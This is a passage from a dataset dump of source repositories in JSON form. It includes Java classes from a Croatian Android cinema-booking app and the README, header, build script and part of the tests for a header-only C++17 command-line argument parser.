httpKlijent.execute(httpZahtjev, handler);\\r\\n\\t\\t}\\r\\n\\t\\tcatch(ClientProtocolException e){\\r\\n\\t\\t\\tString pogreska = e.toString();\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\r\\n\\t\\t\\tpogreska.charAt(0);\\r\\n\\t\\t}\\r\\n\\t\\tcatch(IOException e){\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\thttpKlijent.getConnectionManager().shutdown();\\r\\n\\t\\r\\n\\t\\treturn jsonResult;\\r\\n\\t}\\r\\n\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6810725331306458,\n \"alphanum_fraction\": 0.6817034482955933,\n \"avg_line_length\": 25.807018280029297,\n \"blob_id\": \"20d06396c310df1bb88ece650ff6ad5fd607d3b0\",\n \"content_id\": \"cad3a8f27087e23184e039026d858581218157cf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 3180,\n \"license_type\": \"no_license\",\n \"max_line_length\": 140,\n \"num_lines\": 114,\n \"path\": \"/client-side/src/hr/air/mkino/server/JsonDohvatiSjedala.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.server;\\r\\n\\r\\nimport java.io.IOException;\\r\\n\\r\\nimport java.util.ArrayList;\\r\\nimport java.util.List;\\r\\nimport java.util.concurrent.ExecutionException;\\r\\n\\r\\n\\r\\nimport org.apache.http.client.ClientProtocolException;\\r\\nimport org.apache.http.client.HttpClient;\\r\\nimport org.apache.http.client.ResponseHandler;\\r\\n\\r\\nimport org.apache.http.client.methods.HttpGet;\\r\\n\\r\\nimport org.apache.http.impl.client.BasicResponseHandler;\\r\\nimport org.apache.http.impl.client.DefaultHttpClient;\\r\\n\\r\\nimport org.json.JSONArray;\\r\\nimport org.json.JSONException;\\r\\nimport org.json.JSONObject;\\r\\n\\r\\n\\r\\nimport android.os.AsyncTask;\\r\\n/**\\r\\n * klasa koja služi za prijavu korisnika u sustav uz pomoć asinkrone komunikacije \\r\\n * između aplikacije i servisa koji provjerava da li postoji korisnik u bazi \\r\\n * podataka sa navedenim korisničkim imenom i lozinkom\\r\\n * @author bstivic\\r\\n * */\\r\\npublic class JsonDohvatiSjedala extends AsyncTask<Integer, List<Integer>, String> {\\r\\n\\r\\n\\r\\n\\t\\tpublic List<Integer> dohvatiSjedala(int idProjekcije)\\r\\n\\t\\t{\\t\\t\\t\\r\\n\\t\\t\\tthis.execute(idProjekcije);\\r\\n\\t\\t\\tString jsonRezultat = \\\"\\\";\\r\\n\\t\\t\\ttry {\\r\\n\\t\\t\\t\\tjsonRezultat = this.get();\\r\\n\\t\\t\\t} catch (InterruptedException e) {\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\t} catch (ExecutionException e) {\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\treturn parsirajJson(jsonRezultat);\\t\\t\\t\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\t/**\\r\\n\\t\\t * Parsira json string dohvaćen s web servisa\\r\\n\\t\\t * @param jsonRezultat\\r\\n\\t\\t * @return popunjeni objekt tipa Korisnik(korisnickoIme, \\\"\\\", ime, prezime, email, telefon) \\r\\n\\t\\t * ukoliko je prijava uspjesna ili null ukoliko prijava nije uspjesna\\r\\n\\t\\t */\\r\\n\\t\\t\\r\\n\\t\\tprivate List<Integer> parsirajJson(String jsonRezultat) {\\t\\t\\r\\n\\r\\n\\t\\t\\tList<Integer> listaZauzetih = new ArrayList<Integer>() ;\\r\\n\\t\\t\\ttry {\\r\\n\\t\\t\\t\\t\\tJSONArray rezultati = new JSONArray(jsonRezultat);\\r\\n\\t\\t\\t\\t\\tint n = rezultati.length();\\r\\n\\t\\t\\t\\t\\tfor(int i=0; i<n; i++)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tJSONObject rezultat = rezultati.getJSONObject(i);\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\tString sjedaloStrng = rezultat.getString(\\\"brojSjedala\\\");\\r\\n\\t\\t\\t\\t\\t\\tlistaZauzetih.add(Integer.parseInt(sjedaloStrng));\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\t\\t\\t\\r\\n\\t\\t\\tcatch (JSONException e) {\\t\\r\\n\\t\\t\\t/*\\r\\n\\t\\t\\t * izvršava se ukoliko prijava nije uspješna, odnosno ne postoji\\r\\n\\t\\t\\t * korisnik sa traženim korisničkim imenom i lozinkom\\r\\n\\t\\t\\t * */\\r\\n\\t\\t\\t\\te.printStackTrace();\\t\\t\\t\\t\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\treturn listaZauzetih;\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\t/**\\r\\n\\t\\t * Metoda za asinkronu komunikaciju između aplikacije i servisa.\\r\\n\\t\\t * @param korisnicko ime i lozinka u obliku ArrayList\\r\\n\\t\\t * @return odgovor servisa u json obliku\\r\\n\\t\\t * */\\r\\n\\t\\tprotected String doInBackground(Integer... idProjekcije) {\\r\\n\\t\\t\\tHttpClient httpKlijent = new DefaultHttpClient();\\r\\n\\t\\t \\r\\n\\t\\t\\tHttpGet httpGetZahtjev = new HttpGet(\\\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=sjedalaProjekcija&projekcija=\\\"+idProjekcije[0]);\\r\\n\\t\\t\\tString jsonResult = \\\"\\\";\\r\\n\\t\\t\\tResponseHandler<String> handler = new BasicResponseHandler();\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t\\r\\n\\t\\t\\ttry {\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t \\r\\n\\t\\t\\t\\tjsonResult = httpKlijent.execute(httpGetZahtjev, handler);\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tcatch(ClientProtocolException e){\\r\\n\\t\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tcatch(IOException e){\\r\\n\\t\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\thttpKlijent.getConnectionManager().shutdown();\\r\\n\\t\\t\\treturn jsonResult;\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\r\\n\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6753926873207092,\n \"alphanum_fraction\": 0.6753926873207092,\n \"avg_line_length\": 16.365385055541992,\n \"blob_id\": \"4ea68768c0376225ae6882162068ed3fbfb28d17\",\n \"content_id\": \"970a30cd2a04d0b49c080f456e1008e0be682dd0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 956,\n \"license_type\": \"no_license\",\n \"max_line_length\": 85,\n \"num_lines\": 52,\n \"path\": \"/client-side/src/hr/air/mkino/tipovi/Korisnik.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.tipovi;\\r\\n\\r\\n/**\\r\\n * Klasa predstavlja složeni tip podataka koji opisuje pojedinog korisnika aplikacije\\r\\n * \\r\\n * */\\r\\npublic class Korisnik {\\r\\n\\tprivate String korisnickoIme;\\r\\n\\tprivate String lozinka;\\r\\n\\tprivate String ime;\\r\\n\\tprivate String prezime;\\r\\n\\tprivate String email;\\r\\n\\tprivate String telefon;\\r\\n\\r\\n\\t\\r\\n\\tpublic Korisnik(String korisnickoIme, String lozinka, String ime,\\r\\n\\t\\t\\tString prezime, String email, String telefon) {\\r\\n\\t\\tthis.korisnickoIme = korisnickoIme;\\r\\n\\t\\tthis.lozinka = lozinka;\\r\\n\\t\\tthis.ime = ime;\\r\\n\\t\\tthis.prezime = prezime;\\r\\n\\t\\tthis.email = email;\\r\\n\\t\\tthis.telefon = telefon;\\r\\n\\r\\n\\t}\\r\\n\\t\\r\\n\\tpublic String getKorisnickoIme()\\r\\n\\t{\\r\\n\\t\\treturn korisnickoIme;\\r\\n\\t}\\r\\n\\tpublic String getLozinka()\\r\\n\\t{\\r\\n\\t\\treturn lozinka;\\r\\n\\t}\\r\\n\\tpublic String getIme()\\r\\n\\t{\\r\\n\\t\\treturn ime;\\r\\n\\t}\\r\\n\\tpublic String getPrezime()\\r\\n\\t{\\r\\n\\t\\treturn prezime;\\r\\n\\t}\\r\\n\\tpublic String getEmail()\\r\\n\\t{\\r\\n\\t\\treturn email;\\r\\n\\t}\\r\\n\\tpublic String getTelefon()\\r\\n\\t{\\r\\n\\t\\treturn telefon;\\r\\n\\t}\\r\\n\\t\\r\\n}\\r\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":24,"string":"24"}}},{"rowIdx":2978342,"cells":{"repo_name":{"kind":"string","value":"sailormoon/flags"},"repo_url":{"kind":"string","value":"https://github.com/sailormoon/flags"},"snapshot_id":{"kind":"string","value":"789c0eb33d940569fda4c7fdd6b413674b90d9f0"},"revision_id":{"kind":"string","value":"45fa9e968eb21328b2e60be384f2b1e2b3af0af4"},"directory_id":{"kind":"string","value":"c1d201e5c7d4090342c9cf16c627d3ac04c8cb86"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-08-17T14:27:14.839138","string":"2023-08-17T14:27:14.839138"},"revision_date":{"kind":"timestamp","value":"2023-08-17T09:22:03","string":"2023-08-17T09:22:03"},"committer_date":{"kind":"timestamp","value":"2023-08-17T09:22:03","string":"2023-08-17T09:22:03"},"github_id":{"kind":"number","value":73530193,"string":"73,530,193"},"star_events_count":{"kind":"number","value":252,"string":"252"},"fork_events_count":{"kind":"number","value":25,"string":"25"},"gha_license_id":{"kind":"string","value":"Unlicense"},"gha_created_at":{"kind":"timestamp","value":"2016-11-12T03:53:52","string":"2016-11-12T03:53:52"},"gha_updated_at":{"kind":"timestamp","value":"2023-08-09T15:37:36","string":"2023-08-09T15:37:36"},"gha_pushed_at":{"kind":"timestamp","value":"2023-09-10T21:13:39","string":"2023-09-10T21:13:39"},"gha_language":{"kind":"string","value":"C++"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6736325621604919,"alphanum_fraction":0.6807854175567627,"avg_line_length":25.604476928710938,"blob_id":"c198411a370dd739f32a3da560066221366fb79d","content_id":"0d63a5502029dc7f00bc43cea8ff69c45d65fa73","detected_licenses":["LicenseRef-scancode-public-domain","Unlicense"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":7132,"license_type":"permissive","max_line_length":227,"num_lines":268,"path":"/README.md","repo_name":"sailormoon/flags","src_encoding":"UTF-8","text":"# ⛳ flags\n[](https://travis-ci.org/sailormoon/flags)\n\nSimple, extensible, header-only C++17 argument parser released into the public domain.\n\n\n<!-- vim-markdown-toc GFM -->\n\n* [why](#why)\n* [requirements](#requirements)\n* [api](#api)\n * [get](#get)\n * [get (with default value)](#get-with-default-value)\n * [positional](#positional)\n* [usage](#usage)\n * [example](#example)\n * [another example](#another-example)\n * [extensions](#extensions)\n * [example](#example-1)\n * [command line details](#command-line-details)\n * [key formatting](#key-formatting)\n * [value assignment](#value-assignment)\n * [bools](#bools)\n* [testing](#testing)\n* [contributing](#contributing)\n\n<!-- vim-markdown-toc -->\n\n# why\nOther argument parsers are:\n- bloated\n- non-extensible\n- not modern\n- complicated\n\n# requirements\nGCC 7.0 or Clang 4.0.0 at a minimum. This library makes extensive use of `optional`, `nullopt`, and `string_view`.\n\n# api\n`flags::args` exposes seven methods:\n\n## get\n`std::optional<T> get(const std::string_view& key) const`\n\nAttempts to parse the given key on the command-line. If the string is malformed or the argument was not passed, returns `nullopt`. Otherwise, returns the parsed type as an optional.\n\n## get (with default value)\n`T get(const std::string_view& key, T&& default_value) const`\n\nFunctions the same as `get`, except if the value is malformed or the key was not provided, returns `default_value`. Otherwise, returns the parsed type.\n\n## get_multiple\n`std::vector<std::optional<T>> get_multiple(const std::string_view& option) const`\n\nGet all values passed for an option. If no value is specified (`--foo --bar`) or the value is malformed, `nullopt` will be used. Values will be in the order they were passed.\n\n## get_multiple (with default value)\n`std::vector<T> get_multiple(const std::string_view& option, T&& default_value) const`\n\nFunctions the same as `get_multiple`, except if the value is malformed or no value is provided, `default_value` will be used.\n\n## get (positional)\n`std::optional<T> get(size_t positional_index) const`\n\nGet an argument from the positional arguments at a specified index. If the value is malformed or the index is invalid, `nullopt` is returned.\n\n## get (positional with default value)\n`T get(size_t positional_index, T&& default_value) const`\n\nFunctions the same as positional `get`, except if the value is malformed or the index is invalid, returns `default_value`. Otherwise, returns the parsed type.\n\n## positional\n`const std::vector<std::string_view>& positional() const`\n\nReturns all of the positional arguments from argv in order.\n\n# usage\n### just the headers\nJust include `flags.h` from the `include` directory into your project.\n\n## Using CMake\n\n### CMake Installation\n\nFlags can be built and installed using [CMake], e.g.\n\n```sh\n$ mkdir build\n$ cd build\n$ cmake ..\n$ make\n$ make install\n```\n\nThe above will install Flags into the standard installation path on a UNIX\nsystem, e.g. `/usr/local/include/`. To change the installation path, use:\n\n```sh\n$ cmake .. -DCMAKE_INSTALL_PREFIX=../install\n```\n\nin the above.\n\n### `find_package`\n\nInstallation creates a `flags-config.cmake` which allows CMake\nprojects to find Flags using `find_package`:\n\n```cmake\nfind_package(flags)\n```\n\nThis exports the `flags` target which can be linked against any other\ntarget. Linking against `flags` automatically sets the include\ndirectories and required flags for C++17 or later. For example:\n\n```cmake\nadd_executable(myexe mysources...)\ntarget_link_libraries(myexe PRIVATE flags)\n```\n\n### `add_subdirectory`\n\nThe Flags can also be added as a dependency with `add_subdirectory`:\n\n```cmake\nadd_subdirectory(path/to/flags)\n```\n\nThis also exports the `flags` target which can be linked against any\nother target just as with the installation case.\n\n## example\n```c++\n#include \"flags.h\" // #include <flags.h> for cmake\n#include <iostream>\n\nint main(int argc, char** argv) {\n const flags::args args(argc, argv);\n\n const auto count = args.get<int>(\"count\");\n if (!count) {\n std::cerr << \"No count supplied. :(\\n\";\n return 1;\n }\n std::cout << \"That's \" << *count << \" incredible, colossal credits!\\n\";\n\n if (args.get<bool>(\"laugh\", false)) {\n std::cout << \"Ha ha ha ha!\\n\";\n }\n return 0;\n}\n```\n```bash\n$ ./program\n> No count supplied. :(\n```\n```bash\n$ ./program --count=5 --laugh\n> That's 5 incredible, colossal credits!\n> Ha ha ha ha!\n```\n\n## another example\n```c++\n#include \"flags.h\" // #include <flags.h> for cmake\n#include <iostream>\n#include <string>\n\nint main(int argc, char** argv) {\n const flags::args args(argc, argv);\n const auto& files = args.positional();\n const auto verbose = args.get<bool>(\"verbose\", false);\n if (verbose) {\n std::cout << \"I'm a verbose program! I'll be reading the following files:\\n\";\n for (const auto& file : files) {\n std::cout << \"* \" << file << '\\n';\n }\n }\n // read files(files);\n return 0;\n}\n```\n```bash\n$ ./program /tmp/one /tmp/two /tmp/three --verbose\n> I'm a verbose program! I'll be reading the following files:\n> * /tmp/one\n> * /tmp/two\n> * /tmp/three\n```\n```bash\n$ ./program /tmp/one /tmp/two /tmp/three --noverbose\n>%\n```\n\n## extensions\n`flags` simply uses the `istream` operator to parse values from `argv`. To extend the parser to support your own types, just supply an overloaded `>>`.\n\n### example\n```c++\nstruct Date {\n int day;\n int month;\n int year;\n};\n\n// Custom parsing code.\nstd::istream& operator>>(std::istream& stream, Date& date) {\n return stream >> date.day >> date.month >> date.year;\n}\n\nint main(int argc, char** argv) {\n const flags::args args(argc, argv);\n if (const auto date = args.get<Date>(\"date\")) {\n // Output %Y/%m/%d if a date was provided.\n std::cout << date->year << \":\" << date->month << \":\" << date->day << '\\n';\n return 0;\n }\n // Sad face if no date was provided or if the input was malformed.\n std::cerr << \":(\\n\";\n return 1;\n}\n```\n\n```bash\n$ ./program --date=\"10 11 2016\"\n> 2016:11:10\n```\n\n```bash\n$ ./program\n> :(\n```\n\n## command line details\n`flags`'s primary goal is to be simple to use for both the user and programmer.\n\n### key formatting\nA key can have any number of preceding `-`s, but must have more than 0.\nThe following are valid keys:\n- `-key`\n- `--key`\n- `-------------key`\n\n### value assignment\nA value can be assigned to a key in one of two ways:\n- `$ ./program --key=value`\n- `$ ./program --key value`\n\n#### bools\nbooleans are a special case. The following values make an argument considered `false`-y when parsed as a bool:\n- `f`\n- `false`\n- `n`\n- `no`\n- `0`\n\nIf none of these conditions are met, the bool is considered `true`.\n\n# testing\nflags uses both [bfg9000](https://github.com/jimporter/bfg9000) and [mettle](https://github.com/jimporter/mettle) for unit-testing. After installing both `bfg9000` and `mettle`, run the following commands to kick off the tests:\n\n1. `9k build/`\n2. `cd build`\n3. `ninja test`\n\n# contributing\nContributions of any variety are greatly appreciated. All code is passed through `clang-format` using the Google style.\n"},{"alpha_fraction":0.6518265008926392,"alphanum_fraction":0.6524491310119629,"avg_line_length":32,"blob_id":"4890b910276acdb5e5fbb693bf79276e3fea397e","content_id":"3063f495d9a801a0b456a7fbfdd6d8d8e66ff6aa","detected_licenses":["LicenseRef-scancode-public-domain","Unlicense"],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":9636,"license_type":"permissive","max_line_length":88,"num_lines":292,"path":"/include/flags.h","repo_name":"sailormoon/flags","src_encoding":"UTF-8","text":"#ifndef FLAGS_H_\n#define FLAGS_H_\n\n#include <algorithm>\n#include <array>\n#include <optional>\n#include <sstream>\n#include <string>\n#include <string_view>\n#include <unordered_map>\n#include <vector>\n\nnamespace flags {\nnamespace detail {\nusing argument_map =\n std::unordered_map<std::string_view, std::vector<std::optional<std::string_view>>>;\n\n// Non-destructively parses the argv tokens.\n// * If the token begins with a -, it will be considered an option.\n// * If the token does not begin with a -, it will be considered a value for the\n// previous option. If there was no previous option, it will be considered a\n// positional argument.\nstruct parser {\n parser(const int argc, char** argv) {\n for (int i = 1; i < argc; ++i) {\n churn(argv[i]);\n }\n // If the last token was an option, it needs to be drained.\n flush();\n }\n parser& operator=(const parser&) = delete;\n\n const argument_map& options() const { return options_; }\n const std::vector<std::string_view>& positional_arguments() const {\n return positional_arguments_;\n }\n\n private:\n // Advance the state machine for the current token.\n void churn(const std::string_view& item) {\n if(item.empty())\n {\n on_value(item);\n return;\n }\n item.at(0) == '-' ? on_option(item) : on_value(item);\n }\n\n // Consumes the current option if there is one.\n void flush() {\n if (current_option_) on_value();\n }\n\n void on_option(const std::string_view& option) {\n // Consume the current_option and reassign it to the new option while\n // removing all leading dashes.\n flush();\n current_option_ = option;\n current_option_->remove_prefix(current_option_->find_first_not_of('-'));\n\n // Handle a packed argument (--arg_name=value).\n if (const auto delimiter = current_option_->find_first_of('=');\n delimiter != std::string_view::npos) {\n auto value = *current_option_;\n value.remove_prefix(delimiter + 1 /* skip '=' */);\n current_option_->remove_suffix(current_option_->size() - delimiter);\n on_value(value);\n }\n }\n\n void on_value(const std::optional<std::string_view>& value = std::nullopt) {\n // If there's not an option preceding the value, it's a positional argument.\n if (!current_option_) {\n if (value) positional_arguments_.emplace_back(*value);\n return;\n }\n // Consume the preceding option and assign its value.\n // operator[] will insert an empty vector if needed\n options_[*current_option_].emplace_back(std::move(value));\n current_option_.reset();\n }\n\n std::optional<std::string_view> current_option_;\n argument_map options_;\n std::vector<std::string_view> positional_arguments_;\n};\n\n// If a key exists, return an optional populated with its value.\ninline std::optional<std::string_view> get_value(\n const argument_map& options, const std::string_view& option) {\n if (const auto it = options.find(option); it != options.end()) {\n // If a key exists, there must be at least one value\n return it->second[0];\n }\n return std::nullopt;\n}\n\n// If a key exists, return a vector with its values\ninline std::vector<std::optional<std::string_view>> get_values(\n const argument_map& options, const std::string_view& option) {\n if (const auto it = options.find(option); it != options.end()) {\n return it->second;\n }\n return {};\n}\n\n// Coerces the string value of the given option into <T>.\n// If the value cannot be properly parsed or the key does not exist, returns\n// nullopt.\ntemplate <class T>\nstd::optional<T> get(const argument_map& options,\n const std::string_view& option) {\n if (const auto view = get_value(options, option)) {\n if (T value; std::istringstream(std::string(*view)) >> value) return value;\n }\n return std::nullopt;\n}\n\n// Since the values are already stored as strings, there's no need to use `>>`.\ntemplate <>\ninline std::optional<std::string_view> get(const argument_map& options,\n const std::string_view& option) {\n return get_value(options, option);\n}\n\ntemplate <>\ninline std::optional<std::string> get(const argument_map& options,\n const std::string_view& option) {\n if (const auto view = get<std::string_view>(options, option)) {\n return std::string(*view);\n }\n return std::nullopt;\n}\n\n// Special case for booleans: if the value is any of the below, the option will\n// be considered falsy. Otherwise, it will be considered truthy just for being\n// present.\nconstexpr std::array<const char*, 5> falsities{{\"0\", \"n\", \"no\", \"f\", \"false\"}};\ntemplate <>\ninline std::optional<bool> get(const argument_map& options,\n const std::string_view& option) {\n if (const auto value = get_value(options, option)) {\n return std::none_of(falsities.begin(), falsities.end(),\n [&value](auto falsity) { return *value == falsity; });\n }\n if (options.find(option) != options.end()) return true;\n return std::nullopt;\n}\n\n// Coerces the string values of the given option into std::vector<T>.\n// If a value cannot be properly parsed it is not added. If there are\n// no suitable values or the key does not exist, returns nullopt.\ntemplate <class T>\nstd::vector<std::optional<T>> get_multiple(const argument_map& options,\n const std::string_view& option) {\n std::vector<std::optional<T>> values;\n const auto views = get_values(options, option);\n for (const auto &view : views) {\n if (!view) {\n values.push_back(std::nullopt);\n continue;\n }\n if (T value; std::istringstream(std::string(*view)) >> value) {\n values.push_back(value);\n } else {\n values.push_back(std::nullopt);\n }\n }\n return values;\n}\n\n// Since the values are already stored as strings, there's no need to use `>>`.\ntemplate <>\ninline std::vector<std::optional<std::string_view>> get_multiple(\n const argument_map& options, const std::string_view& option) {\n return get_values(options, option);\n}\n\ntemplate <>\ninline std::vector<std::optional<std::string>> get_multiple(\n const argument_map& options, const std::string_view& option) {\n const auto views = get_values(options, option);\n std::vector<std::optional<std::string>> values(views.begin(), views.end());\n return values;\n}\n\n// Special case for booleans: if the value is in the falsities array (see get<bool>)\n// the option will be considered falsy. Otherwise, it will be considered truthy just\n// for being present.\ntemplate <>\ninline std::vector<std::optional<bool>> get_multiple(\n const argument_map& options, const std::string_view& option) {\n const auto views = get_values(options, option);\n std::vector<std::optional<bool>> values;\n for (const auto view : views) {\n if (!view) {\n values.push_back(true);\n continue;\n }\n values.push_back(std::none_of(falsities.begin(), falsities.end(),\n [&view](auto falsity) { return view == falsity; }));\n }\n return values;\n}\n\n// Coerces the string value of the given positional index into <T>.\n// If the value cannot be properly parsed or the key does not exist, returns\n// nullopt.\ntemplate <class T>\nstd::optional<T> get(const std::vector<std::string_view>& positional_arguments,\n size_t positional_index) {\n if (positional_index < positional_arguments.size()) {\n if (T value; std::istringstream(\n std::string(positional_arguments[positional_index])) >>\n value)\n return value;\n }\n return std::nullopt;\n}\n\n// Since the values are already stored as strings, there's no need to use `>>`.\ntemplate <>\ninline std::optional<std::string_view> get(\n const std::vector<std::string_view>& positional_arguments,\n size_t positional_index) {\n if (positional_index < positional_arguments.size()) {\n return positional_arguments[positional_index];\n }\n return std::nullopt;\n}\n\ntemplate <>\ninline std::optional<std::string> get(\n const std::vector<std::string_view>& positional_arguments,\n size_t positional_index) {\n if (positional_index < positional_arguments.size()) {\n return std::string(positional_arguments[positional_index]);\n }\n return std::nullopt;\n}\n} // namespace detail\n\nstruct args {\n args(const int argc, char** argv) : parser_(argc, argv) {}\n\n template <class T>\n std::optional<T> get(const std::string_view& option) const {\n return detail::get<T>(parser_.options(), option);\n }\n\n template <class T>\n T get(const std::string_view& option, T&& default_value) const {\n return get<T>(option).value_or(default_value);\n }\n\n template <class T>\n std::vector<std::optional<T>> get_multiple(const std::string_view& option) const {\n return detail::get_multiple<T>(parser_.options(), option);\n }\n\n template <class T>\n std::vector<T> get_multiple(const std::string_view& option, T&& default_value) const {\n const auto items = get_multiple<T>(option);\n std::vector<T> values;\n values.reserve(items.size());\n for(const auto& item : items) {\n values.push_back(item ? *item : default_value);\n }\n return values;\n }\n\n template <class T>\n std::optional<T> get(size_t positional_index) const {\n return detail::get<T>(parser_.positional_arguments(), positional_index);\n }\n\n template <class T>\n T get(size_t positional_index, T&& default_value) const {\n return get<T>(positional_index).value_or(default_value);\n }\n\n const std::vector<std::string_view>& positional() const {\n return parser_.positional_arguments();\n }\n\n private:\n const detail::parser parser_;\n};\n\n} // namespace flags\n\n#endif // FLAGS_H_\n"},{"alpha_fraction":0.5958549380302429,"alphanum_fraction":0.6148532032966614,"avg_line_length":23.125,"blob_id":"bb4637b84b4338aadc85f41c8d9d4ce4ae7d23c5","content_id":"d0cd5f4b694b67339eb11bb601f116aa0a1322d2","detected_licenses":["LicenseRef-scancode-public-domain","Unlicense"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":579,"license_type":"permissive","max_line_length":74,"num_lines":24,"path":"/build.bfg","repo_name":"sailormoon/flags","src_encoding":"UTF-8","text":"# -*- python -*-\n\nimport os\nfrom os.path import splitext\n\nbfg9000_required_version('>=0.2.0')\nproject('flags', version='1.0pre')\n\nglobal_options(['-std=c++1z', '-Wall', '-Wextra', '-Werror', '-pedantic'],\n lang='c++')\nmettle = package('mettle')\nincludes = header_directory('include', include='*.h')\ndriver = test_driver(\n 'mettle -o verbose'\n)\n\nfor src in find_files('test/*.cc'):\n path = os.path.join('test', src.path.basename())\n test(executable(\n splitext(path)[0],\n files=[path],\n includes=includes,\n packages=mettle,\n ), driver=driver)\n"},{"alpha_fraction":0.6055071353912354,"alphanum_fraction":0.6157055497169495,"avg_line_length":39.09665298461914,"blob_id":"a8657efb16862ef71ab1ed63a2c5cee42fd456d2","content_id":"e40a88c73caed3f694b4c123b76d93594841b5f4","detected_licenses":["LicenseRef-scancode-public-domain","Unlicense"],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":10786,"license_type":"permissive","max_line_length":82,"num_lines":269,"path":"/test/flags.cc","repo_name":"sailormoon/flags","src_encoding":"UTF-8","text":"#include \"flags.h\"\n\n#include <array>\n#include <mettle.hpp>\n#include <stdexcept>\n#include <string>\n#include <string_view>\n#include <cstring>\n#include <algorithm>\n\nusing namespace mettle;\n\nnamespace {\n// TODO: Initialize argv into unique_ptr so RAII can take care of everything.\n// Currently C-style initialization and deletion purely out of laziness. :(\n\n// Allocates a position within argv and copies the given view to it.\n// argv must already be allocated.\nvoid initialize_arg(char** argv, const size_t index,\n const std::string_view& view) {\n argv[index] =\n reinterpret_cast<char*>(malloc((view.size() + 1) * sizeof(char)));\n memcpy(argv[index], view.data(), view.size() + 1);\n}\n\n// Allocates all of argv from the given argument array.\n// - argv[0] will always be TEST, there is no need to pass a program argument.\n// - argv(0, N) will contain the passed in array.\n// - argv[N] will always be NULL.\n// argv's final size will be the array's size plus two due to the first and last\n// conditions.\nchar** initialize_argv(const std::initializer_list<const char*> args) {\n char** argv =\n reinterpret_cast<char**>(malloc((args.size() + 2) * sizeof(char*)));\n initialize_arg(argv, 0, \"TEST\");\n std::size_t i = 0;\n for (const auto& arg : args) {\n initialize_arg(argv, ++i, arg);\n }\n argv[args.size() + 1] = NULL;\n return argv;\n}\n\n// Same as above but using a std::vector\nchar** initialize_argv(const std::vector<const char*>& args) {\n char** argv =\n reinterpret_cast<char**>(malloc((args.size() + 2) * sizeof(char*)));\n initialize_arg(argv, 0, \"TEST\");\n std::size_t i = 0;\n for (const auto& arg : args) {\n initialize_arg(argv, ++i, arg);\n }\n argv[args.size() + 1] = NULL;\n return argv;\n}\n\n// Cleans up every item within argv, then argv itself.\nvoid cleanup_argv(char** argv) {\n size_t index = 0;\n while (argv[index]) delete[] argv[index++];\n delete argv;\n}\n} // namespace\n\n// Simple fixture for (de)allocating argv and initalizing flags::args.\nstruct args_fixture {\n static args_fixture create(const std::initializer_list<const char*> args) {\n return {args.size(), initialize_argv(args)};\n }\n static args_fixture create(const std::vector<const char*>& args) {\n return {args.size(), initialize_argv(args)};\n }\n ~args_fixture() { cleanup_argv(argv_); }\n\n size_t argc() const { return argc_; }\n const flags::args& args() const { return args_; }\n std::string argv(const size_t index) const {\n if (index >= argc_) throw std::out_of_range(\"index larger than argc\");\n return argv_[index];\n };\n\n private:\n args_fixture(const size_t argc, char** argv)\n : argc_(argc + 1 /* for program */), argv_(argv), args_(argc_, argv) {}\n const size_t argc_;\n char** argv_;\n const flags::args args_;\n};\n\nsuite<> positional_arguments(\"positional arguments\", [](auto& _) {\n // Lack of positional arguments.\n _.test(\"absence\", []() {\n const auto fixture =\n args_fixture::create({\"--no\", \"positional\", \"--arguments\"});\n expect(fixture.args().positional().size(), equal_to(0));\n expect(fixture.args().get<int>(0), equal_to(std::nullopt));\n expect(fixture.args().get<int>(0, 3), equal_to(3));\n });\n\n // Testing the existence of positional arguments with no options or flags.\n _.test(\"basic\", []() {\n const auto fixture = args_fixture::create({\"positional\", \"arguments\"});\n expect(fixture.args().positional().size(), equal_to(2));\n expect(fixture.args().positional()[0], equal_to(\"positional\"));\n expect(fixture.args().positional()[1], equal_to(\"arguments\"));\n // Tests for positional getters\n expect(fixture.args().get<std::string_view>(0), equal_to(\"positional\"));\n expect(fixture.args().get<std::string_view>(1), equal_to(\"arguments\"));\n expect(fixture.args().get<std::string_view>(2), equal_to(std::nullopt));\n expect(fixture.args().get<std::string>(0, \"default\"),\n equal_to(\"positional\"));\n expect(fixture.args().get<std::string>(1, \"default\"),\n equal_to(\"arguments\"));\n expect(fixture.args().get<std::string>(2, \"default\"), equal_to(\"default\"));\n });\n\n // Adding options to the mix.\n _.test(\"with options\", []() 